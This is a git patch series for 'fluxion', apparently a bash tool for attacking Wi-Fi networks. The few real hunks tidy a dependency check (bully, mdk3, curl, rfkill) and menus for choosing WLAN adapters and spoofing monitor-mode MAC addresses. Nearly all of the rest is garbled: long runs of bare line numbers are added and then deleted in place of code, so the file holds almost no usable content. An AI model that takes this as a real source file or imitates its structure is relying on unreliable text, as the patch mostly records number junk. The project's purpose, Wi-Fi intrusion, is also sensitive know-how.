+5244 +5245 +5246 +5247 +5248 +5249 +5250 +5251 +5252 +5253 +5254 +5255 +5256 +5257 +5258 +5259 +5260 +5261 +5262 +5263 +5264 +5265 +5266 +5267 +5268 +5269 +5270 +5271 +5272 +5273 +5274 +5275 +5276 +5277 +5278 +5279 +5280 +5281 +5282 +5283 +5284 +5285 +5286 +5287 +5288 +5289 +5290 +5291 +5292 +5293 +5294 +5295 +5296 +5297 +5298 +5299 +5300 +5301 +5302 +5303 +5304 +5305 +5306 +5307 +5308 +5309 +5310 +5311 +5312 +5313 +5314 +5315 +5316 +5317 +5318 +5319 +5320 +5321 +5322 +5323 +5324 +5325 +5326 +5327 +5328 +5329 +5330 +5331 +5332 +5333 +5334 +5335 +5336 +5337 +5338 +5339 +5340 +5341 +5342 +5343 +5344 +5345 +5346 +5347 +5348 +5349 +5350 +5351 +5352 +5353 +5354 +5355 +5356 +5357 +5358 +5359 +5360 +5361 +5362 +5363 +5364 +5365 +5366 +5367 +5368 +5369 +5370 +5371 +5372 +5373 +5374 +5375 +5376 +5377 +5378 +5379 +5380 +5381 +5382 +5383 +5384 +5385 +5386 +5387 +5388 +5389 +5390 +5391 +5392 +5393 +5394 +5395 +5396 +5397 +5398 +5399 +5400 +5401 +5402 +5403 +5404 +5405 +5406 +5407 +5408 +5409 +5410 +5411 +5412 +5413 +5414 +5415 +5416 +5417 +5418 +5419 +5420 +5421 +5422 +5423 +5424 +5425 +5426 +5427 +5428 +5429 +5430 +5431 +5432 +5433 +5434 +5435 +5436 +5437 +5438 +5439 +5440 +5441 +5442 +5443 +5444 +5445 +5446 +5447 +5448 +5449 +5450 +5451 +5452 +5453 +5454 +5455 +5456 +5457 +5458 +5459 +5460 +5461 +5462 +5463 +5464 +5465 +5466 +5467 +5468 +5469 +5470 +5471 +5472 +5473 +5474 +5475 +5476 +5477 +5478 +5479 +5480 +5481 +5482 +5483 +5484 +5485 +5486 +5487 +5488 +5489 +5490 +5491 +5492 +5493 +5494 +5495 +5496 +5497 +5498 +5499 +5500 +5501 +5502 +5503 +5504 +5505 +5506 +5507 +5508 +5509 +5510 +5511 +5512 +5513 +5514 +5515 +5516 +5517 +5518 +5519 +5520 +5521 +5522 +5523 +5524 +5525 +5526 +5527 +5528 +5529 +5530 +5531 +5532 +5533 +5534 +5535 +5536 +5537 +5538 +5539 +5540 +5541 +5542 +5543 +5544 +5545 +5546 +5547 +5548 +5549 +5550 +5551 +5552 +5553 +5554 +5555 +5556 +5557 +5558 +5559 +5560 +5561 +5562 +5563 +5564 +5565 +5566 +5567 +5568 +5569 +5570 +5571 +5572 +5573 +5574 +5575 +5576 +5577 +5578 +5579 +5580 +5581 +5582 +5583 +5584 +5585 +5586 +5587 +5588 +5589 +5590 +5591 +5592 +5593 +5594 +5595 +5596 +5597 +5598 +5599 +5600 +5601 +5602 +5603 +5604 +5605 +5606 +5607 +5608 +5609 +5610 +5611 +5612 +5613 +5614 +5615 +5616 +5617 +5618 +5619 +5620 +5621 +5622 +5623 +5624 +5625 +5626 +5627 +5628 +5629 +5630 +5631 +5632 +5633 +5634 +5635 +5636 +5637 +5638 +5639 +5640 +5641 +5642 +5643 +5644 +5645 +5646 +5647 +5648 +5649 +5650 +5651 +5652 +5653 +5654 +5655 +5656 +5657 +5658 +5659 +5660 +5661 +5662 +5663 +5664 +5665 +5666 +5667 +5668 +5669 +5670 +5671 +5672 +5673 +5674 +5675 +5676 +5677 +5678 +5679 +5680 +5681 +5682 +5683 +5684 +5685 +5686 +5687 +5688 +5689 +5690 +5691 +5692 +5693 +5694 +5695 +5696 +5697 +5698 +5699 +5700 +5701 +5702 +5703 +5704 +5705 +5706 +5707 +5708 +5709 +5710 +5711 +5712 +5713 +5714 +5715 +5716 +5717 +5718 +5719 +5720 +5721 +5722 +5723 +5724 +5725 +5726 +5727 +5728 +5729 +5730 +5731 +5732 +5733 +5734 +5735 +5736 +5737 +5738 +5739 +5740 +5741 +5742 +5743 +5744 +5745 +5746 +5747 +5748 +5749 +5750 +5751 +5752 +5753 +5754 +5755 +5756 +5757 +5758 +5759 +5760 +5761 +5762 +5763 +5764 +5765 +5766 +5767 +5768 +5769 +5770 +5771 +5772 +5773 +5774 +5775 +5776 +5777 +5778 +5779 +5780 +5781 +5782 +5783 +5784 +5785 +5786 +5787 +5788 +5789 +5790 +5791 +5792 +5793 +5794 +5795 +5796 +5797 +5798 +5799 +5800 +5801 +5802 +5803 +5804 +5805 +5806 +5807 +5808 +5809 +5810 +5811 +5812 +5813 +5814 +5815 +5816 +5817 +5818 +5819 +5820 +5821 +5822 +5823 +5824 +5825 +5826 +5827 +5828 +5829 +5830 +5831 +5832 +5833 +5834 +5835 +5836 +5837 +5838 +5839 +5840 +5841 +5842 +5843 +5844 +5845 +5846 +5847 +5848 +5849 +5850 +5851 +5852 +5853 +5854 +5855 +5856 +5857 +5858 +5859 +5860 +5861 +5862 +5863 +5864 +5865 +5866 +5867 +5868 +5869 +5870 +5871 +5872 +5873 +5874 +5875 +5876 +5877 +5878 +5879 +5880 +5881 +5882 +5883 +5884 +5885 +5886 +5887 +5888 +5889 +5890 +5891 +5892 +5893 +5894 +5895 +5896 +5897 +5898 +5899 +5900 +5901 +5902 +5903 +5904 +5905 +5906 +5907 +5908 +5909 +5910 +5911 +5912 +5913 +5914 +5915 +5916 +5917 +5918 +5919 +5920 +5921 +5922 +5923 +5924 #!/bin/bash ########## DEBUG Mode ########## @@ -323,13 +6247,14 @@ function checkdependences { echo -ne "Bully..........." if ! hash bully 2>/dev/null; then - echo -e "\e[1;32mNot installed"$transparent"" + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 - echo -ne "Curl............" + echo -ne "Curl............" if ! hash curl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 @@ -387,6 +6312,7 @@ function checkdependences { if ! hash mdk3 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 + else echo -e "\e[1;32mOK!"$transparent"" fi @@ -455,7 +6381,7 @@ function checkdependences { fi sleep 0.025 - echo -ne "rfkill..........." + echo -ne "rfkill.........." if ! hash rfkill 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 @@ -506,7 +6432,7 @@ if [ $FLUX_DEBUG != 1 ]; then sleep 1 echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" sleep 1 - echo -e $green " Page:"$red" https://github.com/deltaxflux/fluxion "$transparent + echo -e $green " Page:"$red" https://github.com/deltaxflux/fluxion "$transparent sleep 1 echo -n " Latest rev." tput civis @@ -1345,13 +7271,14 @@ echo "Which Attack Would You Like To Use?" mostrarheader -echo "************** - How Many Wlan Adapters Would You Like To Use? - ************** -1)1 Adapter -2)2 Adapters -3)3 Adapters -4)4 Adapters -5)5 Adapters" - +echo "How many Wlan Adapters would You like to use?" +echo " " +echo -e ""$blue"1)"$transparent" 1 Adapter" +echo -e ""$blue"2)"$transparent" 2 Adapters" +echo -e ""$blue"3)"$transparent" 3 Adapters" +echo -e ""$blue"4)"$transparent" 4 Adapters " +echo -e " "$blue"5)"$transparent" 5 Adapters" + read a case $a in 1) @@ -1369,9 +7296,11 @@ sleep 1 clear mostrarheader -echo "************** - Would you like to Change the Wlan WIFI_MONITOR's MAC Address? - ************** -1)Yes -2)No" +echo "Would you like to Change the Wlan WIFI_MONITOR's MAC Address?" + echo " " + echo -e " "$blue"1)"$transparent" Yes" + echo -e " "$blue"2)"$transparent" No" + read c case $c in @@ -1497,7 +7426,7 @@ menu ;; 2) clear - +mostrarheader echo read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR1; clear @@ -1512,9 +7441,12 @@ enable_mon_mode_2 clear -echo "************** - Would you like to set the 2 WIFI_MONITORs to an Identical MAC Address? - ************** -1)Yes -2)No" +echo "Would you like to set the 2 WIFI_MONITORs to an Identical MAC Address?" +echo " " +echo -e " "$blue"1)"$transparent" Yes" +echo -e " "$blue"2)"$transparent" No" + + read f case $f in @@ -1640,6 +7572,7 @@ menu ;; 3) clear +mostrarheader echo read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR1; clear @@ -1663,9 +7596,12 @@ enable_mon_mode_3 clear -echo "************** - Would you like to set the 3 WIFI_MONITORs to an Identical MAC Address? - ************** -1)Yes -2)No" +mostrarheader +echo "Would you like to set the 3 WIFI_MONITORs to an Identical MAC Address?" +echo " " +echo -e " "$blue"1)"$transparent" Yes" +echo -e " "$blue"2)"$transparent" No" + read i case $i in @@ -1791,6 +7727,7 @@ menu ;; 4) clear +mostrarheader echo read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR1; clear @@ -1948,6 +7885,7 @@ menu ;; 5) clear +mostrarheader echo read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR1; clear From 5e0a3b5fcaab4d52631009477f05f06a3cddc72c Mon Sep 17 00:00:00 2001 From: William Todt Date: Sat, 26 Mar 2016 10:08:27 +0100 Subject: [PATCH 113/294] Update fluxion --- fluxion | 5924 ------------------------------------------------------- 1 file changed, 5924 deletions(-) diff --git a/fluxion b/fluxion index 5c1d786..05c123a 100755 --- a/fluxion +++ b/fluxion @@ -1,5927 +1,3 @@ -1 -2 -3 -4 -5 -6 -7 -8 -9 -10 -11 -12 -13 -14 -15 -16 -17 -18 -19 -20 -21 -22 -23 -24 -25 -26 -27 -28 -29 -30 -31 -32 -33 -34 -35 -36 -37 -38 -39 -40 -41 -42 -43 -44 -45 -46 -47 -48 -49 -50 -51 -52 -53 -54 -55 -56 -57 -58 -59 -60 -61 -62 -63 -64 -65 -66 -67 -68 -69 -70 -71 -72 -73 -74 -75 -76 -77 -78 -79 -80 -81 -82 -83 -84 -85 -86 -87 -88 -89 -90 -91 -92 -93 -94 -95 -96 -97 -98 -99 -100 -101 -102 -103 -104 -105 -106 -107 -108 -109 -110 -111 -112 -113 -114 -115 -116 -117 -118 -119 -120 -121 -122 -123 -124 -125 -126 -127 -128 -129 -130 -131 -132 -133 -134 -135 -136 -137 -138 -139 -140 -141 -142 -143 -144 -145 -146 -147 -148 -149 -150 -151 -152 -153 -154 -155 -156 -157 -158 -159 -160 -161 -162 -163 -164 -165 -166 -167 -168 -169 -170 -171 -172 -173 -174 -175 -176 -177 -178 -179 -180 -181 -182 -183 -184 -185 -186 -187 -188 -189 -190 -191 -192 -193 -194 -195 -196 -197 -198 -199 -200 -201 -202 -203 -204 -205 -206 -207 -208 -209 -210 -211 -212 -213 -214 -215 -216 -217 -218 -219 -220 -221 -222 -223 -224 -225 -226 -227 -228 -229 -230 -231 -232 -233 -234 -235 -236 -237 -238 -239 -240 -241 -242 -243 -244 -245 -246 -247 -248 -249 -250 -251 -252 -253 -254 -255 -256 -257 -258 -259 -260 -261 -262 -263 -264 -265 -266 -267 -268 -269 -270 -271 -272 -273 -274 -275 -276 -277 -278 -279 -280 -281 -282 -283 -284 -285 -286 -287 -288 -289 -290 -291 -292 -293 -294 -295 -296 -297 -298 -299 -300 -301 -302 -303 -304 -305 -306 -307 -308 -309 -310 -311 -312 -313 -314 -315 -316 -317 -318 -319 -320 -321 -322 -323 -324 -325 -326 -327 -328 -329 -330 -331 -332 -333 -334 -335 -336 -337 -338 -339 -340 -341 -342 -343 -344 -345 -346 -347 -348 -349 -350 -351 -352 -353 -354 -355 -356 -357 -358 -359 -360 -361 -362 -363 -364 -365 -366 -367 -368 -369 -370 -371 -372 -373 -374 -375 -376 -377 -378 -379 -380 -381 -382 -383 -384 -385 -386 -387 -388 -389 -390 -391 -392 -393 -394 -395 -396 -397 -398 -399 -400 -401 -402 -403 -404 -405 -406 -407 -408 -409 -410 -411 -412 -413 -414 -415 -416 -417 -418 -419 -420 -421 -422 -423 -424 -425 -426 -427 -428 -429 -430 -431 -432 -433 -434 -435 -436 -437 -438 -439 -440 -441 -442 -443 -444 -445 -446 -447 -448 -449 -450 -451 -452 -453 -454 -455 -456 -457 -458 -459 -460 -461 -462 -463 -464 -465 -466 -467 -468 -469 -470 -471 -472 -473 -474 -475 -476 -477 -478 -479 -480 -481 -482 -483 -484 -485 -486 -487 -488 -489 -490 -491 -492 -493 -494 -495 -496 -497 -498 -499 -500 -501 -502 -503 -504 -505 -506 -507 -508 -509 -510 -511 -512 -513 -514 -515 -516 -517 -518 -519 -520 -521 -522 -523 -524 -525 -526 -527 -528 -529 -530 -531 -532 -533 -534 -535 -536 -537 -538 -539 -540 -541 -542 -543 -544 -545 -546 -547 -548 -549 -550 -551 -552 -553 -554 -555 -556 -557 -558 -559 -560 -561 -562 -563 -564 -565 -566 -567 -568 -569 -570 -571 -572 -573 -574 -575 -576 -577 -578 -579 -580 -581 -582 -583 -584 -585 -586 -587 -588 -589 -590 -591 -592 -593 -594 -595 -596 -597 -598 -599 -600 -601 -602 -603 -604 -605 -606 -607 -608 -609 -610 -611 -612 -613 -614 -615 -616 -617 -618 -619 -620 -621 -622 -623 -624 -625 -626 -627 -628 -629 -630 -631 -632 -633 -634 -635 -636 -637 -638 -639 -640 -641 -642 -643 -644 -645 -646 -647 -648 -649 -650 -651 -652 -653 -654 -655 -656 -657 -658 -659 -660 -661 -662 -663 -664 -665 -666 -667 -668 -669 -670 -671 -672 -673 -674 -675 -676 -677 -678 -679 -680 -681 -682 -683 -684 -685 -686 -687 -688 -689 -690 -691 -692 -693 -694 -695 -696 -697 -698 -699 -700 -701 -702 -703 -704 -705 -706 -707 -708 -709 -710 -711 -712 -713 -714 -715 -716 -717 -718 -719 -720 -721 -722 -723 -724 -725 -726 -727 -728 -729 -730 -731 -732 -733 -734 -735 -736 -737 -738 -739 -740 -741 -742 -743 -744 -745 -746 -747 -748 -749 -750 -751 -752 -753 -754 -755 -756 -757 -758 -759 -760 -761 -762 -763 -764 -765 -766 -767 -768 -769 -770 -771 -772 -773 -774 -775 -776 -777 -778 -779 -780 -781 -782 -783 -784 -785 -786 -787 -788 -789 -790 -791 -792 -793 -794 -795 -796 -797 -798 -799 -800 -801 -802 -803 -804 -805 -806 -807 -808 -809 -810 -811 -812 -813 -814 -815 -816 -817 -818 -819 -820 -821 -822 -823 -824 -825 -826 -827 -828 -829 -830 -831 -832 -833 -834 -835 -836 -837 -838 -839 -840 -841 -842 -843 -844 -845 -846 -847 -848 -849 -850 -851 -852 -853 -854 -855 -856 -857 -858 -859 -860 -861 -862 -863 -864 -865 -866 -867 -868 -869 -870 -871 -872 -873 -874 -875 -876 -877 -878 -879 -880 -881 -882 -883 -884 -885 -886 -887 -888 -889 -890 -891 -892 -893 -894 -895 -896 -897 -898 -899 -900 -901 -902 -903 -904 -905 -906 -907 -908 -909 -910 -911 -912 -913 -914 -915 -916 -917 -918 -919 -920 -921 -922 -923 -924 -925 -926 -927 -928 -929 -930 -931 -932 -933 -934 -935 -936 -937 -938 -939 -940 -941 -942 -943 -944 -945 -946 -947 -948 -949 -950 -951 -952 -953 -954 -955 -956 -957 -958 -959 -960 -961 -962 -963 -964 -965 -966 -967 -968 -969 -970 -971 -972 -973 -974 -975 -976 -977 -978 -979 -980 -981 -982 -983 -984 -985 -986 -987 -988 -989 -990 -991 -992 -993 -994 -995 -996 -997 -998 -999 -1000 -1001 -1002 -1003 -1004 -1005 -1006 -1007 -1008 -1009 -1010 -1011 -1012 -1013 -1014 -1015 -1016 -1017 -1018 -1019 -1020 -1021 -1022 -1023 -1024 -1025 -1026 -1027 -1028 -1029 -1030 -1031 -1032 -1033 -1034 -1035 -1036 -1037 -1038 -1039 -1040 -1041 -1042 -1043 -1044 -1045 -1046 -1047 -1048 -1049 -1050 -1051 -1052 -1053 -1054 -1055 -1056 -1057 -1058 -1059 -1060 -1061 -1062 -1063 -1064 -1065 -1066 -1067 -1068 -1069 -1070 -1071 -1072 -1073 -1074 -1075 -1076 -1077 -1078 -1079 -1080 -1081 -1082 -1083 -1084 -1085 -1086 -1087 -1088 -1089 -1090 -1091 -1092 -1093 -1094 -1095 -1096 -1097 -1098 -1099 -1100 -1101 -1102 -1103 -1104 -1105 -1106 -1107 -1108 -1109 -1110 -1111 -1112 -1113 -1114 -1115 -1116 -1117 -1118 -1119 -1120 -1121 -1122 -1123 -1124 -1125 -1126 -1127 -1128 -1129 -1130 -1131 -1132 -1133 -1134 -1135 -1136 -1137 -1138 -1139 -1140 -1141 -1142 -1143 -1144 -1145 -1146 -1147 -1148 -1149 -1150 -1151 -1152 -1153 -1154 -1155 -1156 -1157 -1158 -1159 -1160 -1161 -1162 -1163 -1164 -1165 -1166 -1167 -1168 -1169 -1170 -1171 -1172 -1173 -1174 -1175 -1176 -1177 -1178 -1179 -1180 -1181 -1182 -1183 -1184 -1185 -1186 -1187 -1188 -1189 -1190 -1191 -1192 -1193 -1194 -1195 -1196 -1197 -1198 -1199 -1200 -1201 -1202 -1203 -1204 -1205 -1206 -1207 -1208 -1209 -1210 -1211 -1212 -1213 -1214 -1215 -1216 -1217 -1218 -1219 -1220 -1221 -1222 -1223 -1224 -1225 -1226 -1227 -1228 -1229 -1230 -1231 -1232 -1233 -1234 -1235 -1236 -1237 -1238 -1239 -1240 -1241 -1242 -1243 -1244 -1245 -1246 -1247 -1248 -1249 -1250 -1251 -1252 -1253 -1254 -1255 -1256 -1257 -1258 -1259 -1260 -1261 -1262 -1263 -1264 -1265 -1266 -1267 -1268 -1269 -1270 -1271 -1272 -1273 -1274 -1275 -1276 -1277 -1278 -1279 -1280 -1281 -1282 -1283 -1284 -1285 -1286 -1287 -1288 -1289 -1290 -1291 -1292 -1293 -1294 -1295 -1296 -1297 -1298 -1299 -1300 -1301 -1302 -1303 -1304 -1305 -1306 -1307 -1308 -1309 -1310 -1311 -1312 -1313 -1314 -1315 -1316 -1317 -1318 -1319 -1320 -1321 -1322 -1323 -1324 -1325 -1326 -1327 -1328 -1329 -1330 -1331 -1332 -1333 -1334 -1335 -1336 -1337 -1338 -1339 -1340 -1341 -1342 -1343 -1344 -1345 -1346 -1347 -1348 -1349 -1350 -1351 -1352 -1353 -1354 -1355 -1356 -1357 -1358 -1359 -1360 -1361 -1362 -1363 -1364 -1365 -1366 -1367 -1368 -1369 -1370 -1371 -1372 -1373 -1374 -1375 -1376 -1377 -1378 -1379 -1380 -1381 -1382 -1383 -1384 -1385 -1386 -1387 -1388 -1389 -1390 -1391 -1392 -1393 -1394 -1395 -1396 -1397 -1398 -1399 -1400 -1401 -1402 -1403 -1404 -1405 -1406 -1407 -1408 -1409 -1410 -1411 -1412 -1413 -1414 -1415 -1416 -1417 -1418 -1419 -1420 -1421 -1422 -1423 -1424 -1425 -1426 -1427 -1428 -1429 -1430 -1431 -1432 -1433 -1434 -1435 -1436 -1437 -1438 -1439 -1440 -1441 -1442 -1443 -1444 -1445 -1446 -1447 -1448 -1449 -1450 -1451 -1452 -1453 -1454 -1455 -1456 -1457 -1458 -1459 -1460 -1461 -1462 -1463 -1464 -1465 -1466 -1467 -1468 -1469 -1470 -1471 -1472 -1473 -1474 -1475 -1476 -1477 -1478 -1479 -1480 -1481 -1482 -1483 -1484 -1485 -1486 -1487 -1488 -1489 -1490 -1491 -1492 -1493 -1494 -1495 -1496 -1497 -1498 -1499 -1500 -1501 -1502 -1503 -1504 -1505 -1506 -1507 -1508 -1509 -1510 -1511 -1512 -1513 -1514 -1515 -1516 -1517 -1518 -1519 -1520 -1521 -1522 -1523 -1524 -1525 -1526 -1527 -1528 -1529 -1530 -1531 -1532 -1533 -1534 -1535 -1536 -1537 -1538 -1539 -1540 -1541 -1542 -1543 -1544 -1545 -1546 -1547 -1548 -1549 -1550 -1551 -1552 -1553 -1554 -1555 -1556 -1557 -1558 -1559 -1560 -1561 -1562 -1563 -1564 -1565 -1566 -1567 -1568 -1569 -1570 -1571 -1572 -1573 -1574 -1575 -1576 -1577 -1578 -1579 -1580 -1581 -1582 -1583 -1584 -1585 -1586 -1587 -1588 -1589 -1590 -1591 -1592 -1593 -1594 -1595 -1596 -1597 -1598 -1599 -1600 -1601 -1602 -1603 -1604 -1605 -1606 -1607 -1608 -1609 -1610 -1611 -1612 -1613 -1614 -1615 -1616 -1617 -1618 -1619 -1620 -1621 -1622 -1623 -1624 -1625 -1626 -1627 -1628 -1629 -1630 -1631 -1632 -1633 -1634 -1635 -1636 -1637 -1638 -1639 -1640 -1641 -1642 -1643 -1644 -1645 -1646 -1647 -1648 -1649 -1650 -1651 -1652 -1653 -1654 -1655 -1656 -1657 -1658 -1659 -1660 -1661 -1662 -1663 -1664 -1665 -1666 -1667 -1668 -1669 -1670 -1671 -1672 -1673 -1674 -1675 -1676 -1677 -1678 -1679 -1680 -1681 -1682 -1683 -1684 -1685 -1686 -1687 -1688 -1689 -1690 -1691 -1692 -1693 -1694 -1695 -1696 -1697 -1698 -1699 -1700 -1701 -1702 -1703 -1704 -1705 -1706 -1707 -1708 -1709 -1710 -1711 -1712 -1713 -1714 -1715 -1716 -1717 -1718 -1719 -1720 -1721 -1722 -1723 -1724 -1725 -1726 -1727 -1728 -1729 -1730 -1731 -1732 -1733 -1734 -1735 -1736 -1737 -1738 -1739 -1740 -1741 -1742 -1743 -1744 -1745 -1746 -1747 -1748 -1749 -1750 -1751 -1752 -1753 -1754 -1755 -1756 -1757 -1758 -1759 -1760 -1761 -1762 -1763 -1764 -1765 -1766 -1767 -1768 -1769 -1770 -1771 -1772 -1773 -1774 -1775 -1776 -1777 -1778 -1779 -1780 -1781 -1782 -1783 -1784 -1785 -1786 -1787 -1788 -1789 -1790 -1791 -1792 -1793 -1794 -1795 -1796 -1797 -1798 -1799 -1800 -1801 -1802 -1803 -1804 -1805 -1806 -1807 -1808 -1809 -1810 -1811 -1812 -1813 -1814 -1815 -1816 -1817 -1818 -1819 -1820 -1821 -1822 -1823 -1824 -1825 -1826 -1827 -1828 -1829 -1830 -1831 -1832 -1833 -1834 -1835 -1836 -1837 -1838 -1839 -1840 -1841 -1842 -1843 -1844 -1845 -1846 -1847 -1848 -1849 -1850 -1851 -1852 -1853 -1854 -1855 -1856 -1857 -1858 -1859 -1860 -1861 -1862 -1863 -1864 -1865 -1866 -1867 -1868 -1869 -1870 -1871 -1872 -1873 -1874 -1875 -1876 -1877 -1878 -1879 -1880 -1881 -1882 -1883 -1884 -1885 -1886 -1887 -1888 -1889 -1890 -1891 -1892 -1893 -1894 -1895 -1896 -1897 -1898 -1899 -1900 -1901 -1902 -1903 -1904 -1905 -1906 -1907 -1908 -1909 -1910 -1911 -1912 -1913 -1914 -1915 -1916 -1917 -1918 -1919 -1920 -1921 -1922 -1923 -1924 -1925 -1926 -1927 -1928 -1929 -1930 -1931 -1932 -1933 -1934 -1935 -1936 -1937 -1938 -1939 -1940 -1941 -1942 -1943 -1944 -1945 -1946 -1947 -1948 -1949 -1950 -1951 -1952 -1953 -1954 -1955 -1956 -1957 -1958 -1959 -1960 -1961 -1962 -1963 -1964 -1965 -1966 -1967 -1968 -1969 -1970 -1971 -1972 -1973 -1974 -1975 -1976 -1977 -1978 -1979 -1980 -1981 -1982 -1983 -1984 -1985 -1986 -1987 -1988 -1989 -1990 -1991 -1992 -1993 -1994 -1995 -1996 -1997 -1998 -1999 -2000 -2001 -2002 -2003 -2004 -2005 -2006 -2007 -2008 -2009 -2010 -2011 -2012 -2013 -2014 -2015 -2016 -2017 -2018 -2019 -2020 -2021 -2022 -2023 -2024 -2025 -2026 -2027 -2028 -2029 -2030 -2031 -2032 -2033 -2034 -2035 -2036 -2037 -2038 -2039 -2040 -2041 -2042 -2043 -2044 -2045 -2046 -2047 -2048 -2049 -2050 -2051 -2052 -2053 -2054 -2055 -2056 -2057 -2058 -2059 -2060 -2061 -2062 -2063 -2064 -2065 -2066 -2067 -2068 -2069 -2070 -2071 -2072 -2073 -2074 -2075 -2076 -2077 -2078 -2079 -2080 -2081 -2082 -2083 -2084 -2085 -2086 -2087 -2088 -2089 -2090 -2091 -2092 -2093 -2094 -2095 -2096 -2097 -2098 -2099 -2100 -2101 -2102 -2103 -2104 -2105 -2106 -2107 -2108 -2109 -2110 -2111 -2112 -2113 -2114 -2115 -2116 -2117 -2118 -2119 -2120 -2121 -2122 -2123 -2124 -2125 -2126 -2127 -2128 -2129 -2130 -2131 -2132 -2133 -2134 -2135 -2136 -2137 -2138 -2139 -2140 -2141 -2142 -2143 -2144 -2145 -2146 -2147 -2148 -2149 -2150 -2151 -2152 -2153 -2154 -2155 -2156 -2157 -2158 -2159 -2160 -2161 -2162 -2163 -2164 -2165 -2166 -2167 -2168 -2169 -2170 -2171 -2172 -2173 -2174 -2175 -2176 -2177 -2178 -2179 -2180 -2181 -2182 -2183 -2184 -2185 -2186 -2187 -2188 -2189 -2190 -2191 -2192 -2193 -2194 -2195 -2196 -2197 -2198 -2199 -2200 -2201 -2202 -2203 -2204 -2205 -2206 -2207 -2208 -2209 -2210 -2211 -2212 -2213 -2214 -2215 -2216 -2217 -2218 -2219 -2220 -2221 -2222 -2223 -2224 -2225 -2226 -2227 -2228 -2229 -2230 -2231 -2232 -2233 -2234 -2235 -2236 -2237 -2238 -2239 -2240 -2241 -2242 -2243 -2244 -2245 -2246 -2247 -2248 -2249 -2250 -2251 -2252 -2253 -2254 -2255 -2256 -2257 -2258 -2259 -2260 -2261 -2262 -2263 -2264 -2265 -2266 -2267 -2268 -2269 -2270 -2271 -2272 -2273 -2274 -2275 -2276 -2277 -2278 -2279 -2280 -2281 -2282 -2283 -2284 -2285 -2286 -2287 -2288 -2289 -2290 -2291 -2292 -2293 -2294 -2295 -2296 -2297 -2298 -2299 -2300 -2301 -2302 -2303 -2304 -2305 -2306 -2307 -2308 -2309 -2310 -2311 -2312 -2313 -2314 -2315 -2316 -2317 -2318 -2319 -2320 -2321 -2322 -2323 -2324 -2325 -2326 -2327 -2328 -2329 -2330 -2331 -2332 -2333 -2334 -2335 -2336 -2337 -2338 -2339 -2340 -2341 -2342 -2343 -2344 -2345 -2346 -2347 -2348 -2349 -2350 -2351 -2352 -2353 -2354 -2355 -2356 -2357 -2358 -2359 -2360 -2361 -2362 -2363 -2364 -2365 -2366 -2367 -2368 -2369 -2370 -2371 -2372 -2373 -2374 -2375 -2376 -2377 -2378 -2379 -2380 -2381 -2382 -2383 -2384 -2385 -2386 -2387 -2388 -2389 -2390 -2391 -2392 -2393 -2394 -2395 -2396 -2397 -2398 -2399 -2400 -2401 -2402 -2403 -2404 -2405 -2406 -2407 -2408 -2409 -2410 -2411 -2412 -2413 -2414 -2415 -2416 -2417 -2418 -2419 -2420 -2421 -2422 -2423 -2424 -2425 -2426 -2427 -2428 -2429 -2430 -2431 -2432 -2433 -2434 -2435 -2436 -2437 -2438 -2439 -2440 -2441 -2442 -2443 -2444 -2445 -2446 -2447 -2448 -2449 -2450 -2451 -2452 -2453 -2454 -2455 -2456 -2457 -2458 -2459 -2460 -2461 -2462 -2463 -2464 -2465 -2466 -2467 -2468 -2469 -2470 -2471 -2472 -2473 -2474 -2475 -2476 -2477 -2478 -2479 -2480 -2481 -2482 -2483 -2484 -2485 -2486 -2487 -2488 -2489 -2490 -2491 -2492 -2493 -2494 -2495 -2496 -2497 -2498 -2499 -2500 -2501 -2502 -2503 -2504 -2505 -2506 -2507 -2508 -2509 -2510 -2511 -2512 -2513 -2514 -2515 -2516 -2517 -2518 -2519 -2520 -2521 -2522 -2523 -2524 -2525 -2526 -2527 -2528 -2529 -2530 -2531 -2532 -2533 -2534 -2535 -2536 -2537 -2538 -2539 -2540 -2541 -2542 -2543 -2544 -2545 -2546 -2547 -2548 -2549 -2550 -2551 -2552 -2553 -2554 -2555 -2556 -2557 -2558 -2559 -2560 -2561 -2562 -2563 -2564 -2565 -2566 -2567 -2568 -2569 -2570 -2571 -2572 -2573 -2574 -2575 -2576 -2577 -2578 -2579 -2580 -2581 -2582 -2583 -2584 -2585 -2586 -2587 -2588 -2589 -2590 -2591 -2592 -2593 -2594 -2595 -2596 -2597 -2598 -2599 -2600 -2601 -2602 -2603 -2604 -2605 -2606 -2607 -2608 -2609 -2610 -2611 -2612 -2613 -2614 -2615 -2616 -2617 -2618 -2619 -2620 -2621 -2622 -2623 -2624 -2625 -2626 -2627 -2628 -2629 -2630 -2631 -2632 -2633 -2634 -2635 -2636 -2637 -2638 -2639 -2640 -2641 -2642 -2643 -2644 -2645 -2646 -2647 -2648 -2649 -2650 -2651 -2652 -2653 -2654 -2655 -2656 -2657 -2658 -2659 -2660 -2661 -2662 -2663 -2664 -2665 -2666 -2667 -2668 -2669 -2670 -2671 -2672 -2673 -2674 -2675 -2676 -2677 -2678 -2679 -2680 -2681 -2682 -2683 -2684 -2685 -2686 -2687 -2688 -2689 -2690 -2691 -2692 -2693 -2694 -2695 -2696 -2697 -2698 -2699 -2700 -2701 -2702 -2703 -2704 -2705 -2706 -2707 -2708 -2709 -2710 -2711 -2712 -2713 -2714 -2715 -2716 -2717 -2718 -2719 -2720 -2721 -2722 -2723 -2724 -2725 -2726 -2727 -2728 -2729 -2730 -2731 -2732 -2733 -2734 -2735 -2736 -2737 -2738 -2739 -2740 -2741 -2742 -2743 -2744 -2745 -2746 -2747 -2748 -2749 -2750 -2751 -2752 -2753 -2754 -2755 -2756 -2757 -2758 -2759 -2760 -2761 -2762 -2763 -2764 -2765 -2766 -2767 -2768 -2769 -2770 -2771 -2772 -2773 -2774 -2775 -2776 -2777 -2778 -2779 -2780 -2781 -2782 -2783 -2784 -2785 -2786 -2787 -2788 -2789 -2790 -2791 -2792 -2793 -2794 -2795 -2796 -2797 -2798 -2799 -2800 -2801 -2802 -2803 -2804 -2805 -2806 -2807 -2808 -2809 -2810 -2811 -2812 -2813 -2814 -2815 -2816 